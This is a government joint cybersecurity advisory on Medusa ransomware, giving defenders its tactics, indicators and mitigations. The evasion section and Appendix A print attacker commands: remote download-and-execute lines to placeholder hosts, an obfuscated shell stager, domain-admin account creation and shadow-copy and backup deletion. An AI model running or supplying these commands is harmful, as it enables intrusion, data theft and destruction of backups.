JOINT
CYBERSECURITY
ADVISORY

TLP:CLEAR

Product ID: AA25-071A

March 12, 2025

Co-Authored by:

MS-ISAC®
Multi-State Information
Sharing & Analysis Center®

#StopRansomware: Medusa Ransomware

Summary

Note: This joint Cybersecurity Advisory is part of an ongoing #StopRansomware effort to publish advisories for network defenders detailing various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.

The Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) are releasing this joint advisory to disseminate known Medusa ransomware TTPs and IOCs, identified through FBI investigations as recently as February 2025.

Actions for Organizations to Take Today to Mitigate Cyber Threats Related to Medusa Ransomware Activity

- **Mitigate known vulnerabilities** by ensuring operating systems, software, and firmware are patched and up to date within a risk-informed span of time.
- **Segment networks** to restrict lateral movement from initial infected devices and other devices in the same organization.
- **Filter network traffic** by preventing unknown or untrusted origins from accessing remote services on internal systems.

Medusa is a ransomware-as-a-service (RaaS) variant first identified in June 2021. As of February 2025, Medusa developers and affiliates have impacted over 300 victims from a variety of critical infrastructure sectors with affected industries including medical, education, legal, insurance, technology, and

To report suspicious or criminal activity related to information found in this joint Cybersecurity Advisory, contact your local FBI field office or CISA's 24/7 Operations Center at Report@cisa.gov or (888) 282-0870. When available, please include the following information regarding the incident: date, time, and location of the incident; type of activity; number of people affected; type of equipment used for the activity; the name of the submitting company or organization; and a designated point of contact. SLTT organizations should report incidents to MS-ISAC (866-787-4722 or SOC@cisecurity.org).

manufacturing. The Medusa ransomware variant is unrelated to the MedusaLocker variant and the Medusa mobile malware variant per the FBI's investigation.

FBI, CISA, and MS-ISAC encourage organizations to implement the recommendations in the **Mitigations** section of this advisory to reduce the likelihood and impact of Medusa ransomware incidents.

For a downloadable list of IOCs, see:

- AA25-071A STIX XML (34KB)
- AA25-071A STIX JSON (42KB)

Technical Details

Note: This advisory uses the MITRE ATT&CK® Matrix for Enterprise framework, version 16. See the **MITRE ATT&CK Tactics and Techniques** section of this advisory for a table of the threat actors' activity mapped to MITRE ATT&CK tactics and techniques.

Background

The RaaS Medusa variant has been used to conduct ransomware attacks from 2021 to present. Medusa originally operated as a closed ransomware variant, meaning all development and associated operations were controlled by the same group of cyber threat actors. While Medusa has since progressed to using an affiliate model, important operations such as ransom negotiation are still centrally controlled by the developers. Both Medusa developers and affiliates—referred to as "Medusa actors" in this advisory—employ a double extortion model, where they encrypt victim data and threaten to publicly release exfiltrated data if a ransom is not paid.

Initial Access

Medusa developers typically recruit initial access brokers (IABs) in cybercriminal forums and marketplaces to obtain initial access [TA0001] to potential victims. Potential payments between $100 USD and $1 million USD are offered to these affiliates with the opportunity to work exclusively for Medusa. Medusa IABs (affiliates) are known to make use of common techniques, such as:

- **Phishing campaigns** as a primary method for stealing victim credentials [T1566].
- **Exploitation of unpatched software vulnerabilities** [T1190] through Common Vulnerabilities and Exposures (CVEs) such as the ScreenConnect vulnerability CVE-2024-1709 [CWE-288: Authentication Bypass Using an Alternate Path or Channel] and Fortinet EMS SQL injection vulnerability [CVE-2023-48788 [CWE 89: SQL Injection].

Discovery

Medusa actors use living off the land (LOTL) and legitimate tools Advanced IP Scanner and SoftPerfect Network Scanner for initial user, system, and network enumeration. Once a foothold in a victim network is established, commonly scanned ports include:

- 21 (FTP)
- 22 (SSH)

- `23` (Telnet)
- `80` (HTTP)
- `115` (SFTP)
- `443` (HTTPS)
- `1433` (SQL database)
- `3050` (Firebird database)
- `3128` (HTTP web proxy)
- `3306` (MySQL database)
- `3389` (RDP)

Medusa actors primarily use PowerShell [T1059.001] and the Windows Command Prompt (`cmd.exe`) [T1059.003] for network [T1046] and filesystem enumeration [T1083] and to utilize Ingress Tool Transfer capabilities [T1105]. Medusa actors use Windows Management Instrumentation (WMI) [T1047] for querying system information.

Defense Evasion

Medusa actors use LOTL to avoid detection [TA0005]. (See **Appendix A** for associated shell commands observed during FBI investigations of Medusa victims.) Certutil (`certutil.exe`) is used to avoid detection when performing file ingress.

Actors have been observed using several different PowerShell detection evasion techniques with increasing complexity, which are provided below. Additionally, Medusa actors attempt to cover their tracks by deleting the PowerShell command line history [T1070.003].

In this example, Medusa actors use a well-known evasion technique that executes a base64 encrypted command [T1027.013] using specific execution settings.

- `powershell -exec bypass -enc <base64 encrypted command string>`

In another example, the `DownloadFile` string is obfuscated by slicing it into pieces and referencing it via a variable [T1027].

- `powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RAS tool>.msi)`

In the final example, the payload is an obfuscated base64 string read into memory, decompressed from `gzip`, and used to create a `scriptblock`. The base64 payload is split using empty strings and concatenation, and uses a format operator (`-f`) followed by three arguments to specify character replacements in the base64 payload.

- `powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((`
- `New-Object System.IO.StreamReader(`
- `New-Object System.IO.Compression.GzipStream((`
- `New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(`

- `(('<base64 payload string>')-f'<character replacement 0>','<character replacement 1>', '<character replacement 2>'))))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))`

The obfuscated base64 PowerShell payload is identical to `powerfun.ps1`, a publicly available stager script that can create either a reverse or bind shell over TLS to load additional modules. In the bind shell, the script awaits a connection on local port `443` [T1071.001], and initiates a connection to a remote port `443` in the reverse shell.

In some instances, Medusa actors attempted to use vulnerable or signed drivers to kill or delete endpoint detection and response (EDR) tools [T1562.001].

FBI has observed Medusa actors using the following tools to support command and control (C2) and evade detection:

- Ligolo.
  - A reverse tunneling tool often used to create secure connections between a compromised host and threat actor's machine.
- Cloudflared.
  - Formerly known as ArgoTunnel.
  - Used to securely expose applications, services, or servers to the internet via Cloudflare Tunnel without exposing them directly.

Lateral Movement and Execution

Medusa actors use a variety of legitimate remote access software [T1219]; they may tailor their choice based on any remote access tools already present in the victim environment as a means of evading detection. Investigations identified Medusa actors using remote access software AnyDesk, Atera, ConnectWise, eHorus, N-able, PDQ Deploy, PDQ Inventory, SimpleHelp, and Splashtop. Medusa uses these tools—in combination with Remote Desktop Protocol (RDP) [T1021.001] and PsExec [T1569.002]—to move laterally [TA0008] through the network and identify files for exfiltration [TA0010] and encryption [T1486]. When provided with valid username and password credentials, Medusa actors use PsExec to:

- Copy (`-c`) one script from various batch scripts on the current machine to the remote machine and execute it with `SYSTEM` level privileges (`-s`).
- Execute an already existing local file on a remote machine with `SYSTEM` level privileges.
- Execute remote shell commands using `cmd /c`.

One of the batch scripts executed by PsExec is `openrdp.bat`, which first creates a new firewall rule to allow inbound TCP traffic on port `3389`:

- `netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow`

Then, a rule to allow remote WMI connections is created:

- `netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes`

Finally, the registry is modified to allow Remote Desktop connections:

- `reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f`

Mimikatz has also been observed in use for Local Security Authority Subsystem Service (LSASS) dumping [T1003.001] to harvest credentials [TA0006] and aid lateral movement.

Exfiltration and Encryption

Medusa actors install and use Rclone to facilitate exfiltration of data to the Medusa C2 servers [T1567.002] used by actors and affiliates. The actors use Sysinternals PsExec, PDQ Deploy, or BigFix [T1072] to deploy the encryptor, `gaze.exe`, on files across the network—with the actors disabling Windows Defender and other antivirus services on specific targets. Encrypted files have a `.medusa` file extension. The process `gaze.exe` terminates all services [T1489] related to backups, security, databases, communication, file sharing and websites, then deletes shadow copies [T1490] and encrypts files with AES-256 before dropping the ransom note. The actors then manually turn off [T1529] and encrypt virtual machines and delete their previously installed tools [T1070].

Extortion

Medusa RaaS employs a double extortion model, where victims must pay [T1657] to decrypt files and prevent further release. The ransom note demands victims make contact within 48 hours via either a Tor browser based live chat, or via Tox, an end-to-end encrypted instant-messaging platform. If the victim does not respond to the ransom note, Medusa actors will reach out to them directly by phone or email. Medusa operates a `.onion` data leak site, divulging victims alongside countdowns to the release of information. Ransom demands are posted on the site, with direct hyperlinks to Medusa affiliated cryptocurrency wallets. At this stage, Medusa concurrently advertises sale of the data to interested parties before the countdown timer ends. Victims can additionally pay $10,000 USD in cryptocurrency to add a day to the countdown timer.

FBI investigations identified that after paying the ransom, one victim was contacted by a separate Medusa actor who claimed the negotiator had stolen the ransom amount already paid and requested half of the payment be made again to provide the “true decryptor”— potentially indicating a triple extortion scheme.

Indicators of Compromise

Table 1 lists the hashes of malicious files obtained during investigations.

Table 1: Malicious Files

Files	Hash (MD5)	Description
!!!READ_ME_MEDUSA!!!.txt	Redacted	Ransom note file
openrdp.bat	44370f5c977e415981febf7dbb87a85c	Allows incoming RDP and remote WMI connections

Files	Hash (MD5)	Description
pu.exe	80d852cd199ac923205b61658a9ec5bc	Reverse shell

Table 2 includes email addresses used by Medusa actors to extort victims; they are exclusively used for ransom negotiation and contacting victims following compromise. These email addresses are not associated with phishing activity conducted by Medusa actors.

Table 2: Medusa Email Addresses

Email Addresses	Description
key.medusa.serviceteam@protonmail.com	Used for ransom negotiation
medusa.support@onionmail.org	Used for ransom negotiation
mds.svt.breach@protonmail.com	Used for ransom negotiation
mds.svt.mir2@protonmail.com	Used for ransom negotiation
MedusaSupport@cock.li	Used for ransom negotiation

MITRE ATT&CK Tactics and Techniques

See **Table 3** – **Table 11** for all referenced threat actor tactics and techniques in this advisory. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Table 3: Initial Access

Technique Title	ID	Use
Exploit Public-Facing Application	T1190	Medusa actors exploited unpatched software or n-day vulnerabilities through common vulnerabilities and exposures.
Initial Access	TA0001	Medusa actors recruited initial access brokers (IABS) in cybercriminal forums and marketplaces to obtain initial access.
Phishing	T1566	Medusa IABS used phishing campaigns as a primary method for delivering ransomware to victims.

Table 4: Defense Evasion

Technique Title	ID	Use
Indicator Removal: Clear Command History	T1070.003	Medusa actors attempt to cover their tracks by deleting the PowerShell command line history.
Obfuscated Files or Information: Encrypted/Encoded File	T1027.013	Medusa actors use a well-known evasion technique that executes a base64 encrypted command.
Obfuscated Files or Information	T1027	Medusa actors obfuscated a string by slicing it into pieces and referencing it via a variable.
Indicator Removal	T1070	Medusa actors deleted their previous work and tools installed.
Impair Defenses: Disable or Modify Tools	T1562.001	Medusa actors killed or deleted endpoint detection and response tools.

Table 5: Discovery

Technique Title	ID	Use
Network Service Discovery	T1046	Medusa actors utilized living of the land techniques to perform network enumeration.
File and Directory Discovery	T1083	Medusa actors utilized Windows Command Prompt for filesystem enumeration.
Network Share Discovery	T1135	Medusa actors queried shared drives on the local system to gather sources of information.
System Network Configuration Discovery	T1016	Medusa actors used operating system administrative utilities to gather network information.
System Information Discovery	T1082	Medusa actors used the command `systeminfo` to gather detailed system information.
Permission Groups Discovery: Domain Groups	T1069.002	Medusa actors attempt to find domain-level group and permission settings.

Table 6: Credential Access

Technique Title	ID	Use
Credential Access	TA0006	Medusa actors harvest credentials with tools like Mimikatz to gain access to systems.
OS Credential Dumping: LSASS Memory	T1003.001	Medusa actors were observed accessing credential material stored in process memory or Local Security Authority Subsystem Service (LSASS) using Mimkatz.

Table 7: Lateral Movement and Execution

Technique Title	ID	Use
Lateral Movement	TA0008	Medusa actors performed techniques to move laterally without detection once they gained initial access.
Command and Scripting Interpreter: PowerShell	T1059.001	Medusa actors used PowerShell, a powerful interactive command-line interface and scripting environment for ingress, network, and filesystem enumeration.
Command and Scripting Interpreter: Windows Command Shell	T1059.003	Medusa actors used Windows Command Prompt—which can be used to control almost any aspect of a system—for ingress, network, and filesystem enumeration.
Software Deployment Tools	T1072	Medusa Actors used PDQ Deploy and BigFix to deploy the encryptor on files across the network.
Remote Services: Remote Desktop Protocol	T1021.001	Medusa actors used Remote Desktop Protocol (RDP), a common feature in operating systems, to log into an interactive session with a system and move laterally.
System Services	T1569.002	Medusa actors used Sysinternals PsExec to deploy the encryptor on files across the network.
Windows Management Instrumentation	T1047	Medusa actors abused Windows Management Instrumentation to query system information.

Table 8: Exfiltration and Encryption

Technique Title	ID	Use
Exfiltration	TA0010	Medusa actors identified files to exfiltrate out of victim networks.
Exfiltration Over Web Service: Exfiltration to Cloud Storage	T1567.002	Medusa actors used Rclone to facilitate exfiltration of data to the Medusa C2 servers.

Table 9: Command and Control

Technique Title	ID	Use
Ingress Tool Transfer	T1105	Medusa actors used PowerShell, Windows Command Prompt, and certutil for file ingress.
Application Layer Protocol: Web Protocols	T1071.001	Medusa actors communicate using application layer protocols associated with web traffic. In this case, Medusa actors used scripts that created reverse or bind shells over port `443`: HTTPS.
Remote Access Software	T1219	Medusa actors used remote access software to move laterally through the network.

Table 10: Persistence

Technique Title	ID	Use
Create Account	T1136.002	Medusa actors created a domain account to maintain access to victim systems.

Table 11: Impact

Technique Title	ID	Use
Data Encrypted for Impact	T1486	Medusa identified and encrypted data on target systems to interrupt availability to system and network resources.
Inhibit System Recovery	T1490	The process `gaze.exe` terminates all services then deletes shadow copies and encrypts files with AES-256 before dropping the ransom note.
Financial Theft	T1657	Victims must pay to decrypt files and prevent further release by Medusa actors.

Technique Title	ID	Use
System Shutdown/Reboot	T1529	Medusa actors manually turned off and encrypted virtual machines.
Service Stop	T1489	The process `gaze.exe` terminates all services related to backups, security, databases, communication, file sharing, and websites,

Mitigations

FBI, CISA, and MS-ISAC recommend organizations implement the mitigations below to improve cybersecurity posture based on threat actors' activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA's CPGs webpage for more information on the CPGs, including additional recommended baseline protections.

- **Implement a recovery plan** to maintain and retain multiple copies of sensitive or proprietary data and servers in a physically separate, segmented, and secure location (e.g., hard drive, storage device, the cloud) [CPG 2.F, 2.R, 2.S].
- **Require all accounts** with password logins (e.g., service accounts, admin accounts, and domain admin accounts) to comply with NIST's standards. In particular, require employees to use long passwords and consider not requiring frequently recurring password changes, as these can weaken security [CPG 2.C].
- **Require multifactor authentication** for all services to the extent possible, particularly for webmail, virtual private networks, and accounts that access critical systems [CPG 2.H].
- **Keep all operating systems, software, and firmware up to date.** Timely patching is one of the most efficient and cost-effective steps an organization can take to minimize its exposure to cybersecurity threats. Prioritize patching known exploited vulnerabilities in internet-facing systems [CPG 1.E].
- **Segment networks** to prevent the spread of ransomware. Network segmentation can help prevent the spread of ransomware by controlling traffic flows between—and access to—various subnetworks and by restricting adversary lateral movement [CPG 2.F].
- **Identify, detect, and investigate abnormal activity and potential traversal of the indicated ransomware with a networking monitoring tool.** To aid in detecting the ransomware, implement a tool that logs and reports all network traffic, including lateral movement activity on a network. Endpoint detection and response (EDR) tools are particularly useful for detecting lateral connections as they have insight into common and uncommon network connections for each host [CPG 3.A].
- **Require VPNs or Jump Hosts for remote access.**
- **Monitor for unauthorized scanning and access attempts.**

- **Filter network traffic** by preventing unknown or untrusted origins from accessing remote services on internal systems. This prevents threat actors from directly connecting to remote access services that they have established for persistence.
- **Audit user accounts** with administrative privileges and configure access controls according to the principle of least privilege [CPG 2.E].
- **Review domain controllers, servers, workstations, and active directories** for new and/or unrecognized accounts [CPG 1.A, 2.O].
- **Disable command-line and scripting activities and permissions.** Privilege escalation and lateral movement often depend on software utilities running from the command line. If threat actors are not able to run these tools, they will have difficulty escalating privileges and/or moving laterally [CPG 2.E, 2.N].
- **Disable unused ports** [CPG 2.V].
- **Maintain offline backups of data,** and regularly maintain backup and restoration [CPG 2.R]. By instituting this practice, the organization helps ensure they will not be severely interrupted and/or only have irretrievable data.
- **Ensure all backup data is encrypted, immutable** (i.e., cannot be altered or deleted), and covers the entire organization's data infrastructure [CPG 2.K, 2.L, 2.R].

Validate Security Controls

In addition to applying mitigations, the FBI, CISA, and MS-ISAC recommend exercising, testing, and validating your organization's security program against the threat behaviors mapped to the MITRE ATT&CK Matrix for Enterprise framework in this advisory. The FBI, CISA, and MS-ISAC recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.

To get started:

1. Select an ATT&CK technique described in this advisory (**Table 3** to **Table 11**).
2. Align your security technologies against the technique.
3. Test your technologies against the technique.
4. Analyze your detection and prevention technologies' performance.
5. Repeat the process for all security technologies to obtain a set of comprehensive performance data.
6. Tune your security program, including people, processes, and technologies, based on the data generated by this process.

The FBI, CISA, and MS-ISAC recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.

Resources

- Joint #StopRansomware Guide.
- Joint Guide Identifying and Mitigating Living Off the Land Techniques.
- Joint Guide to Securing Remote Access Software.

Reporting

Your organization has no obligation to respond or provide information back to FBI in response to this joint advisory. If, after reviewing the information provided, your organization decides to provide information to FBI, reporting must be consistent with applicable state and federal laws.

FBI is interested in any information that can be shared, to include boundary logs showing communication to and from foreign IP addresses, a sample ransom note, communications with threat actors, Bitcoin wallet information, decryptor files, and/or a benign sample of an encrypted file.

Additional details of interest include a targeted company point of contact, status and scope of infection, estimated loss, operational impact, transaction IDs, date of infection, date detected, initial attack vector, and host- and network-based indicators.

The FBI, CISA, and MS-ISAC do not encourage paying ransoms as payment does not guarantee victim files will be recovered. Furthermore, payment may also embolden adversaries to target additional organizations, encourage other criminal actors to engage in the distribution of ransomware, and/or fund illicit activities. Regardless of whether you or your organization have decided to pay the ransom, FBI, CISA, and MS-ISAC urge you to promptly report ransomware incidents to FBI's Internet Crime Complaint Center (IC3), a local FBI Field Office, or CISA via the agency's Incident Reporting System or its 24/7 Operations Center (report@cisa.gov) or by calling 1-844-Say-CISA (1-844-729-2472).

Disclaimer

The information in this report is being provided "as is" for informational purposes only. The FBI, CISA, and MS-ISAC do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by the FBI, CISA, and MS-ISAC.

Acknowledgements

ConnectWise contributed to this advisory.

Version History

March 12, 2025: Initial version.

Appendix A: Medusa Commands

These commands explicitly demonstrate the methods used by Medusa threat actors once they obtain a foothold inside a victim network. Incident responders and threat hunters can use this information to detect malicious activity. System administrators can use this information to design allowlist/denylist policies or other protective mechanisms.

`cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.css <localfile>.dll`
`cmd.exe /c certutil -f urlcache https://<domain>/<remotefile>.msi <localfile>.msi`
`cmd.exe /c driverquery`

`cmd.exe /c echo Computer: %COMPUTERNAME% & `
 `echo Username: %USERNAME% & `
 `echo Domain: %USERDOMAIN% & `
 `echo Logon Server: %LOGONSERVER% & `
 `echo DNS Domain: %USERDNSDOMAIN% & `
 `echo User Profile: %USERPROFILE% & echo `
 `System Root: %SYSTEMROOT%`

`cmd.exe /c ipconfig /all` [T1016]
`cmd.exe /c net share` [T1135]
`cmd.exe /c net use`
`cmd.exe /c netstat -a`
`cmd.exe /c sc query`
`cmd.exe /c schtasks`
`cmd.exe /c systeminfo` [T1082]
`cmd.exe /c ver`
`cmd.exe /c wmic printer get caption,name,deviceid,drivername,portname`
`cmd.exe /c wmic printjob`
`mmc.exe compmgmt.msc /computer:{hostname/ip}`
`mstsc.exe /v:{hostname/ip}`
`mstsc.exe /v:{hostname/ip} /u:{user} /p:{pass}`
`powershell -exec bypass -enc <base64 encrypted command string>`
`powershell -nop -c $x = 'D' + 'Own' + 'LOa' + 'DfI' + 'le'; Invoke-Expression (New-Object Net.WebClient).$x.Invoke(http://<ip>/<RMM tool>.msi)`
`powershell -nop -w hidden -noni -ep bypass &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String((('<base64 payload string>')-f'<character replacement 0>', '<character replacement 1>','<character replacement 2>')))), [System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))`
`powershell Remove-Item (Get-PSReadlineOption).HistorySavePath`
`powershell Get-ADComputer -Filter * -Property * | Select-Object Name,OperatingSystem,OperatingSystemVersion,Description,LastLogonDate,`

logonCount,whenChanged,whenCreated,ipv4Address | Export-CSV -Path <file path> -NoTypeInformation -Encoding UTF8
psexec.exe -accepteula -nobanner -s \\{hostname/ip} "c:\windows\system32\taskkill.exe" /f /im WRSA.exe
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c coba.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c openrdp.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c StopAllProcess.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c zam.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} c:\temp\x.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd /c "c:\gaze.exe"
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd /c "copy \\ad02\sysvol\gaze.exe c:\gaze.exe
psexec.exe -accepteula -nobanner -s \\{hostname/ip} cmd /c "copy \\ad02\sysvol\gaze.exe c:\gaze.exe && c:\gaze.exe"
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c coba.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c openrdp.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c zam.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} cmd
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -u {user} -p {pass} -c newuser.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c duooff.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c hostname/ipwho.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c newuser.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c removesophos.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c start.bat
psexec.exe -accepteula -nobanner -s \\{hostname/ip} -c uninstallSophos.bat
nltest /dclist:
net group "domain admins" /domain [T1069.002]
net group "Domain Admins" default /add /domain
net group "Enterprise Admins" default /add /domain
net group "Remote Desktop Users" default /add /domain
net group "Group Policy Creator Owners" default /add /domain
net group "Schema Admins" default /add /domain
net group "domain users" /domain
net user default /active:yes /domain
net user /add default <password> /domain [T1136.002]
query user
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0
systeminfo

vssadmin.exe Delete Shadows /all /quiet
vssadmin.exe resize shadowstorage /for=%s /on=%s /maxsize=unbounded
del /s /f /q %s*.VHD %s*.bac %s*.bak %s*.wbcat %s*.bkf %sBac kup*.* %sbackup*.* %s*.set %s*.win %s*.dsk
netsh advfirewall firewall add rule name="rdp" dir=in protocol=tcp localport=3389 action=allow
netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=yes
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f